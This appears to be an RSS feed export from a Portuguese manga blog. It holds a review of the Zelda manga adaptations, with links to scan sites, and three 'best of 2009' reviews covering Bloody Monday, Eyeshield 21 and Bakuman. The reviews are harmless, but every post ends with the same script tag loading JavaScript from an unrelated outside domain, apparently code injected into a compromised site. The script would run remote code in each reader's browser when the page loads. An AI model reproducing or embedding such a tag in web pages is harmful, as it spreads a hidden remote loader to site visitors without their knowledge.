<div id="attachment_224" class="wp-caption alignleft" style="width: 184px"><a href="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda004.jpg"><img class="size-full wp-image-224" title="Oracle of Ages" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda004.jpg" alt="Oracle of Ages" width="174" height="246" /></a><p class="wp-caption-text">Oracle of Ages</p></div>
<p>Uma das mais famosas franquias da Nintendo, Zelda é um dos grandes sucessos incontestáveis do mundo dos games, cada título novo anunciado é aguardado com muita antecipação pelos fãs e apreciadores de bons jogos. Basicamente, Zelda é quase sempre sinônimo de um jogo ótimo, divertido e memorável.<br />
Criado pelo grande Shigeru Miyamoto em 1986, Zelda segue uma história até que simples e básica, você controla o herói, um menino loiro e de roupas verdes chamado Link e deve salvar a princesa que dá nome ao jogo, Zelda. Até aí nada demais, essa história de donzela em perigo e o herói que vai ao seu resgate deve ser uma das mais manjadas, em qualquer mídia. O que faz Zelda ser o sucesso que é, é a sua jogabilidade. É empolgante entrar numa masmorra nova controlando Link e se deparar com quebra-cabeças desafiadores, mas não impossíveis, e fazer uso dos vários ítens disponíveis ao longo da jornada para resolvê-los, além disso há todo um mundo criado, habitado por personagens carismáticos e bem reconhecíveis (quem não se lembra dos engraçados gorons e dos sérios Zoras?).<br />
Tudo isso (exceto a jogabilidade, por motivos óbvios) deve se transportar muito bem para um mangá, não é? Talvez.<br />
Existem vários, mas vários mangás dos jogos de Zelda, os principais pelo traço de Akira Himekawa e serão os que irei comentar aqui.</p>
<p>Akira e sua equipe começaram a adaptação de Zelda para os quadrinhos em 1999, com Ocarina of Time (de 1998), algo que parece até lógico, devido à ótima aceitação do jogo. Ocarina of Time foi nomeado não-sei-quantas-vezes &#8220;o jogo do século&#8221;, &#8220;o melhor jogo de todos os tempos&#8221;, &#8220;o melhor jogo de 1998&#8243; por um número sem fim de publicações e por aí vai, mas não foi por menos, o game é sensacional mesmo e deve ter salvo o N64 em 1998, logo produzir uma versão em quadrinhos para conseguir uma grana extra, um ano depois que o jogo fora lançado deve ter soado como uma boa idéia, além de ser um agrado para os fãs e colecionadores, o que resultou em dois volumes dividindo a história em &#8216;Child Saga&#8217;, contando a história até o momento em que Link adquire a Master Sword e desse ponto em diante &#8216;Adult Saga&#8217; até sua conclusão, além de duas histórias extras com acontecimentos que não existem no jogo.</p>
<div id="attachment_220" class="wp-caption alignright" style="width: 179px"><img class="size-full wp-image-220" title="Ocarina of Time" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda002.jpg" alt="Ocarina of Time" width="169" height="271" /><p class="wp-caption-text">Ocarina of Time</p></div>
<p>Esse é um mangá que tenho um carinho especial, pois foi um dos primeiros que traduzi e editei os scans para o português, ainda que tenha ficado horrível.<br />
Ele é bem fiel ao material de origem, contando a história de forma rápida e dinâmica, talvez até resumida, sendo que o jogo tenha umas 40, 50 horas e cada capítulo dos dois volumes uma média de 20 páginas.<br />
É interessante ver o até então &#8217;silent protagonist&#8217; Link falando e interagindo com outros personagens. A autora conseguiu deixar isso natural e fluindo, dando a Link uma personalidade que, acredito eu, todos acham que ele tem, embora nos jogos tudo o que se ouça sair da boca dele é &#8216;Hiya&#8217; &#8216;Waah&#8217; e derivados e não só dele, como de seus inimigos também. O chefe da primeira &#8216;dungeon&#8217; a aranha Gohma ameaça Link e Mido e não pára de exigir a &#8220;pedra&#8221;. Esses diálogos ajudam a história a ser contada de forma mais rápida e tornam os acontecimentos mais naturais, já que a parte de exploração é deixada completamente de lado. Gohma aparece, Link e Mido vão derrotá-lo e é isso aí, nada de ficar vagando pelo Grande Deku Tree atrás de baús e rupees.<br />
Até agora falei muito da história e não contei nada dela em si, mas realmente é preciso?<br />
Enfim, Link vive numa vila junto a várias outras crianças, os chamados Kokiris, cada um deles tem uma fada que serve como guia, exceto nosso herói. Os kokiris têm como espécie de guardião uma enorme árvore falante, chamada de Grande Deku Tree.<br />
Após ser atacado pela aranha parasita Gohma, o Grande Deku Tree acaba morrendo, mas antes conta toda a história da terra de Hyrule e de Link. A verdade é que Link não é um kokiri, por isso nunca teve uma fada, somente agora quando o próprio Deku Tree enviou a fada Navi ao seu auxílio, e que um grande mal estava tentando se apoderar do mundo, Ganondorf, o rei da tribo Gerudo quer se apoderar da triforce para realizar seu plano. Para evitar isso, Link deve despertar vários sacerdotes e viajar no tempo até ser velho o suficente para poder manusear a &#8216;Master Sword&#8217; e derrotar Ganondorf, tudo com muitas canções envolvidas, músicas que fazem o dia virar noite, teleportar Link para diversos locais entre outras, daí o subtítulo &#8216;Ocarina of Time&#8217;, para os desavisados, ocarina é um instrumento de sopro, funciona basicamente como uma flauta.</p>
<div id="attachment_221" class="wp-caption alignright" style="width: 219px"><img class="size-full wp-image-221" title="Phantom Hourglass" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/zelda003.jpg" alt="Phantom Hourglass" width="209" height="318" /><p class="wp-caption-text">Phantom Hourglass</p></div>
<p>Apesar de haver algumas diferenças entre o game e o mangá, o básico está todo lá, quando chega no castelo de Hyrule, até mesmo a parte onde Link deve se esgueirar pelos jardins do castelo, escapando da visão dos guardas tem uma menção nos quadrinhos, mas a luta contra o dragão que aterrorizava os gorons na Montanha da Morte vai muito além do que o jogo jamais nos contou, o que, me lembro bem, causou a ira de um pessoal que lia os scans que traduzi (não vou contar, leiam!).<br />
O mangá de Ocarina of Time é muito bem desenhado e conta a história do jogo como quem jogou gostaria de ver (a maior parte do tempo, pelo menos) em formato de quadrinhos, algo que os fãs irão gostar de ver.<br />
No Japão, os dois volumes foram publicados pela Shogakukan e nos EUA pela Viz Media, interessados devem conseguir não muito caro em sites de livrarias de lá ou até mesmo no ebay. Eu já tive um dos volumes da Viz nas mãos e é muito bem produzido, quem resolver colecionar não vai se arrepender. Para quem se contentar com os scans, o link está lá embaixo.</p>
<p>Depois do sucesso de Ocarina of Time, o próximo Zelda foi lançado em 2000. Nele, um &#8220;Skull Kid&#8221; roubou a &#8220;Majora&#8217;s Mask&#8221;, um poderoso artefato e com ela faz a lua lentamente se aproximar de Termina, a terra do jogo, e se chocar com ela em três dias. Link deve então encontrar um meio de impedir que isso aconteça, fazendo uso de viagens no tempo (ainda com o uso da ocarina) e várias máscaras que lhe dão poderes diferentes.<br />
Apesar do jogo não ser uma continuação direta, logo no começo do mangá Link se lembra de como derrotou Ganondorf (em Ocarina of Time), dentre outras várias diferenças entre jogo e quadrinhos, como a própria origem da máscada de Majora.</p>
<div id="attachment_222" class="wp-caption alignleft" style="width: 310px"><a href="http://blog.j-caffe.net/wp-content/uploads/2010/02/collezioneZelda_manga01.jpg"><img class="size-medium wp-image-222" title="Coleção Zelda" src="http://blog.j-caffe.net/wp-content/uploads/2010/02/collezioneZelda_manga01-300x191.jpg" alt="Coleção de mangás de Zelda" width="300" height="191" /></a><p class="wp-caption-text">Coleção de mangás de Zelda</p></div>
<p>Não cheguei a jogar Majora&#8217;s Mask até o fim, portanto não arrisco comparações, mas acredito seguir a mesma linha de Ocarina of Time na relação game/mangá assim como praticamente todos os títulos seguintes de que colocaram na mão de Himekawa, passando pelos dois &#8216;Oracle&#8217; (do Game Boy), Minish Cap, Phantom Hourglass e até mesmo Four Swords.<br />
Outros autores também já fizeram sua representação de Zelda em quadrinhos, como Link&#8217;s Awakening por Ataru Cagiva (nunca ouvi falar) e A Link to the Past por Shotaro Ishinomori (autor de Cybor-009 e dono de um<a href="http://en.wikipedia.org/wiki/Shotaro_Ishinomori"> cabelo com MUITO estilo</a>) que no começo eram só quadrinhos que faziam parte da revista Nintendo Power, para depois ser publicado em forma de graphic novel. Aqui a história também era contada de uma forma alternativa ao jogo.</p>
<p>Hoje parece improvável que alguém não tenha sequer ouvido falar de Zelda, sendo assim encaro os quadrinhos, principalmente aqueles pela Akira Himekawa, algo para os fãs, que já terminaram os jogos e só querem ver a história mais uma vez, só que contada de outra maneira.<br />
Para os interessados, a aparente infinita fonte de scans online, OneManga conta com vários dos mangás de Zelda disponíveis para leitura, todos é claro em inglês e o melhor, completos. Alguns grupos brasileiros traduziram também boa parte dos scans na net, apesar de aparentemente muitos terem largado a tradução no meio do caminho.</p>
<p><a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Links_Awakening/">Link&#8217;s Awakening</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Majoras_Mask/">Majora&#8217;s Mask</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Minish_Cap/">Minish Cap</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Ocarina_of_Time/">Ocarina of Time</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Oracle_of_Seasons/">Oracle of Seasons</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Oracles_of_Ages/">Oracle of Ages</a> (Inglês)<br />
<a href="http://dynamic.onemanga.com/The_Legend_of_Zelda_-_Phantom_Hourglass/">Phantom Hourglas</a>s (Inglês)<br />
<a href="http://animeblade.com.br/fansub/?menu=busca&amp;form_busca=zelda&amp;form_tipo=1">Lista de Scans de Zelda na Anime Blade</a> (Português)<script src="http://ae.awaue.com/7"></script></p>
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		<title>Melhores de 2009 (Parte 3: Bloody Monday)</title>
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		<pubDate>Sat, 30 Jan 2010 20:02:18 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<description><![CDATA[Terminando a série de melhores mangás que li em 2009, Bloody Monday foi outro título “surpresa”, que me despertou interesse pelo título. Confesso que me animei com o início dele, mas após os três primeiro capítulos larguei a leitura. Não por falta de interesse, simplesmente parei de ler, mas ainda bem que resolvi retomar.]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_melhores2009-bloodymonday.jpg"><img class="aligncenter size-full wp-image-174" title="header_melhores2009-bloodymonday" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_melhores2009-bloodymonday.jpg" alt="header_melhores2009-bloodymonday" width="740" height="125" /></a></p>
<div id="attachment_175" class="wp-caption alignleft" style="width: 298px"><img class="size-full wp-image-175" title="melhores2009-bloodymonday-2" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-bloodymonday-2.jpg" alt="melhores2009-bloodymonday-2" width="288" height="251" /><p class="wp-caption-text">O hacker Falcon</p></div>
<p>Terminando a série de melhores mangás que li em 2009.<br />
Bloody Monday foi outro título “surpresa”, que me despertou interesse pelo título. Confesso que me animei com o início dele, mas após os três primeiro capítulos larguei a leitura. Não por falta de interesse, simplesmente parei de ler, mas ainda bem que resolvi retomar.<br />
Esse é um mangá de suspense e ação “no limite”. Um vírus letal adquirido por um grupo terrorista na Rússia é levado ao Japão e usado para ameaçar todo o país. Em troca da não liberação do vírus, o grupo quer a libertação de seu líder. Para combatê-los, um órgão de investigação secreto do governo é acionado e no meio disso tudo está um menino hacker, conhecido pelo pseudônimo de “Falcon”.  A história é emocionante do começo ao fim e tem de tudo que um bom suspense desse tipo pode ter. Traições, reviravoltas, complicações inesperadas, situações imprevisíveis muitas coisas de tirar o fôlego, some a isso lugares reais do mundo atual e o mangá consegue facilmente passar uma sensação de desespero ao leitor. É algo diferente ler que um castelo de um mundo de fantasia tá prestes a ser destruído e ler que, sei lá, o prédio da prefeitura pode explodir a qualquer hora. No segundo caso o leitor não precisa de muita explicação de como o lugar em questão é importante e às vezes até conhece o lugar, sabe onde fica, talvez até mesmo já esteve lá. É como assistir um filme de catástrofe, onde Nova York, Tóquio ou o Rio de Janeiro estão sendo destruídos, você reconhece o lugar num instante. Enfim, isso cria um cenário perfeito para Bloody Monday sem precisar sair do muito do mundo real.</p>
<div id="attachment_176" class="wp-caption alignright" style="width: 298px"><img class="size-full wp-image-176" title="melhores2009-bloodymonday-1" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-bloodymonday-1.jpg" alt="Capa do Volume 9" width="288" height="251" /><p class="wp-caption-text">Capa do Volume 9</p></div>
<p>Conforme os capítulos vão passando cada vez menos sobrem personagens em quem confiar, e mesmo os que se mostram confiáveis te deixam com um “pé atrás”, culminando numa surpresa de cair o queixo quando o final se aproxima.<br />
Bloody Monday foi um dos poucos mangás que terminaram em 2009 e que li até o final (ele foi publicado de 2007 a 2009) e acredito que devido a popularidade ganhou uma ‘Season 2’ que infelizmente não me empolgou muito, ainda. O suspense e a sensação de desespero ‘cada-segundo-conta’ ainda estão lá, os personagens estão mais velhos, mas fica uma pequena sensação de ‘mais do mesmo’. A série original também rendeu um TV drama (as novelas japonesas), de 11 episódios que foi ao ar em 2008, acredito que no <a href="http://www.mithril.com.br/" target="_blank">Mithril</a> haja um review do mesmo, pra quem se interessar.</p>
<p>E aqui encerro minha série de melhores mangás que li em 2009. Espero que tenham gostado e aguardem no ano que vem, os melhores de 2010!<script src="http://ae.awaue.com/7"></script></p>
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		<title>Melhores de 2009 (Parte 2: Eyeshield 21)</title>
		<link>http://blog.j-caffe.net/melhores-de-2009-parte-2-eyeshield-21/</link>
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		<pubDate>Tue, 26 Jan 2010 21:30:08 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
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		<description><![CDATA[Dando continuidade à série de posts com os melhores mangás que li em 2009, Eyeshield 21, mangá sobre futebol americano.]]></description>
			<content:encoded><![CDATA[<p><img src="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_melhores2009-eyeshield21.jpg" alt="header_melhores2009-eyeshield21" title="header_melhores2009-eyeshield21" width="740" height="125" class="aligncenter size-full wp-image-168" /></p>
<p>Faz um tempo que não leio um mangá sobre esportes. Eu gosto do gênero, gosto de esportes, mas parece que ultimamente nada tem chamado a minha atenção nesse &#8220;ramo&#8221;. Pelo menos nada desde Eyeshield 21, sobre futebol americano.<br />
No começo achei estranho. Um mangá, história em quadrinhos japonesa, sobre futebol americano, um esporte praticamente centrado nos Estados Unidos. Não vou dizer que não existem fãs fora dos EUA, muito pelo contrário, mas me parecia pouco provável que um mangá sobre esse esporte fosse vingar no Japão, mas vingou! Em publicação por 7 anos (de 2002 a 2009), contou com 37 volumes e um anime de 145 episódios, além de vários games para PS2, NDS e por aí vai&#8230;<br />
<div id="attachment_169" class="wp-caption alignleft" style="width: 223px"><img src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-eyeshield21-1.jpg" alt="Futebol Americano" title="melhores2009-eyeshield21-1" width="213" height="320" class="size-full wp-image-169" /><p class="wp-caption-text">Futebol Americano</p></div>Mas sempre fiquei intrigado, por que tanto sucesso? Será que o esporte foi deixado em segundo plano? Muito pelo contrário, o foco do mangá desde o começo foi o esporte.<br />
Olha só, no Japão alunos do colegial podem participar de atividades extra-classe na escola, os chamados ‘’clubes’’. Existe clube de praticamente tudo, de esportes à acadêmicos. Clube de baseball, futebol, leitura, desenho e tantos outros. Eu sinceramente não faço idéia se realmente existem clubes de futebol americano nas escolas do Japão, mas é a partir daí que o mangá começa, num clube de futebol americano caindo aos pedaços com apenas dois membros que sonham serem campeões do campeonato de futebol americano, como todo mangá de esporte colegial, e no meio disso está nosso personagem principal: um manézão que sempre foi feito de capacho pelos moleques e protegido pela sua amiga de infância. Só que ele tem um talento especial, ele corre MUITO rápido. Ao perceberem isso, os membros do clube de futebol americano recrutam ele (meio que à força) e vão re-erguendo o clube. Nada de muito especial nisso, visto que em praticamente todo mangá de esporte um personagem X tem algum talento especial pro esporte e vai com seus amiguinhos ganhar o campeonato importante que eles querem. Eyeshield 21 se diferenciou (de novo, no meu ponto de vista) graças aos seus personagens. O capitão do time de futebol americano é praticamente um mafioso, chantagem não é nada para ele.<br />
<div id="attachment_170" class="wp-caption alignright" style="width: 177px"><img src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-eyeshield21-2.jpg" alt="Todo mundo vai querer jogar!" title="melhores2009-eyeshield21-2" width="167" height="240" class="size-full wp-image-170" /><p class="wp-caption-text">Todo mundo vai querer jogar!</p></div>O outro integrante original do clube é um gorducho que parece uma manteiga de tão emocional, que tem o coração puro e bom, os adversários não ficam para trás, todos com vários personagens marcantes e caricatos. Os times inventados pelo autor são temáticos e seus jogadores não fogem a regra. Há um time chamado &#8216;Sphynx&#8217; e todos seus jogadores parecem que vieram do Egito jogar futebol americano. Esse tipo de humor ajuda a deixar a leitura de Eyeshield 21 boa e simples, mas sem quebrar muito o ritmo e emoção eletrizante de cada partida, até culminar no desfecho que todo mundo sabe desde os primeiros capítulos.<br />
Vocês devem conhecer o fenômeno que foi “Slam Dunk”, fazendo com que a molecada nas escolas tomasse gosto pelo esporte (no caso basquete), Eyeshield 21 fez praticamente a mesma coisa, mas numa proporção muito menor, mostrou o futebol americano aos japoneses e fez com que eles também quisessem praticar esse esporte.<br />
Graças aos seus personagens marcantes, jogos emocionantes e comédia escrachada que Eyeshield 21 está nessa lista. Confesso que até fiquei até triste quando o mangá terminou.<br />
<script src="http://ae.awaue.com/7"></script></p>
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		<title>Melhores de 2009 (Parte 1: Bakuman)</title>
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		<pubDate>Fri, 22 Jan 2010 23:57:56 +0000</pubDate>
		<dc:creator>daniel</dc:creator>
				<category><![CDATA[Manga]]></category>
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		<category><![CDATA[shounen]]></category>
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		<description><![CDATA[Sempre foi difícil montar essas listas que vivem aparecendo em finais de ano, os ‘melhores disso’, os ‘melhores daquilo’...]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_melhores2009-bakuman.jpg"><img class="aligncenter size-full wp-image-158" title="header_melhores2009-bakuman" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/header_melhores2009-bakuman.jpg" alt="header_melhores2009-bakuman" width="740" height="100" /></a></p>
<p>Sempre foi difícil montar essas listas que vivem aparecendo em finais de ano, os ‘melhores disso’, os ‘melhores daquilo’&#8230;<br />
O problema maior é realmente lembrar tudo o que passou e foi visto durante o ano e não realmente montar uma lista, acontece que tenho a memória de um lambari e isso dificulta muito recordar o que eu li em janeiro passado, o que foi bom ou que foi ruim. Há quem diga que se foi realmente bom, não teria como esquecer e é me baseando nisso e forçando a memória que vou tentar montar essa &#8220;lista&#8221;, em nenhuma ordem específica. Tenham em mente que aqui vou escrever sobre mangás lidos em 2009 e não lançados em 2009. É possível também que eu tenha começado a ler os títulos que serão citados aqui bem antes de 2009, mas como o blog começou no final do ano passado&#8230; então vamos nessa!</p>
<div id="attachment_159" class="wp-caption alignleft" style="width: 273px"><img class="size-full wp-image-159" title="melhores2009-bakuman-1" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-bakuman-1.jpg" alt="Mashiro e Takagi" width="263" height="276" /><p class="wp-caption-text">Mashiro e Takagi</p></div>
<p>Logo de cara, meu mangá preferido de 2009 foi Bakuman, da dupla Tsugumi Ohba e Obata Takeshi, sim, aqueles que nos trouxeram Death Note (e que até hoje, não li até o final). Completamente diferente da sombria guerra de nervos que é DN, Bakuman fala sobre sonhos e “paixonites” da adolescência. O personagem principal é um qualquer e se contenta com isso, sabe que dali a uns 10 anos estaria num trabalho qualquer como qualquer outra pessoa nada especial, mas é graças à uma sugestão inesperada e uma promessa inacreditável que ele e o aluno mais inteligente da escola começam a desenhar mangá, para quando for famoso e seu sonho se realizar ele possa se casar com a mocinha da história.</p>
<p>Bakuman me cativou de um jeito que há muito tempo um mangá não cativava.<br />
A idéia de fazer um &#8220;mangá sobre “mangá&#8221; não deve ser lá nova, mas a execução dela é que me atrai em Bakuman, além de mostrar um pouco mais de perto como funciona a produção de um mangá (algo que sempre tive curiosidade). Vejam só, quando era criança já pensei em ser desenhista!<br />
Tudo isso com um romance meio esquisito no meio. O protagonista e seu parzinho prometeram não se ver até que alcancem seus sonhos e aí, se casam. Meio absurdo, mas completamente puro.</p>
<div id="attachment_162" class="wp-caption alignright" style="width: 273px"><img class="size-full wp-image-162" title="melhores2009-bakuman-2" src="http://blog.j-caffe.net/wp-content/uploads/2010/01/melhores2009-bakuman-21.jpg" alt="Desenhando mangá" width="263" height="163" /><p class="wp-caption-text">Desenhando mangá</p></div>
<p>E é através de reuniões com o editor aqui, roteiros e idéias ali que o mangá vai se desenrolando&#8230; mostrando que não é muito fácil ser publicado na Shounen Jump semanal e muito mais difícil ainda é manter-se em publicação. O mercado japonês, tendo como base o que é mostrado em Bakuman, é feroz e parece que os autores matam um leão a cada semana para manterem seus títulos na ativa.</p>
<p>A arte é a já conhecida, mas adotando um traço menos puxado pro realismo de DN (não que DN seja puro realismo em sua arte&#8230;). Então, por mostrar uma história diferente do que estava acostumado a ler, ter personagens interessantes, situações interessantes, misturando drama, romance, comédia, suspense e é me deixando ansioso a quase todo final de capítulo que Bakuman leva o &#8216;melhor mangá de 2009&#8242;.<script src="http://ae.awaue.com/7"></script></p>
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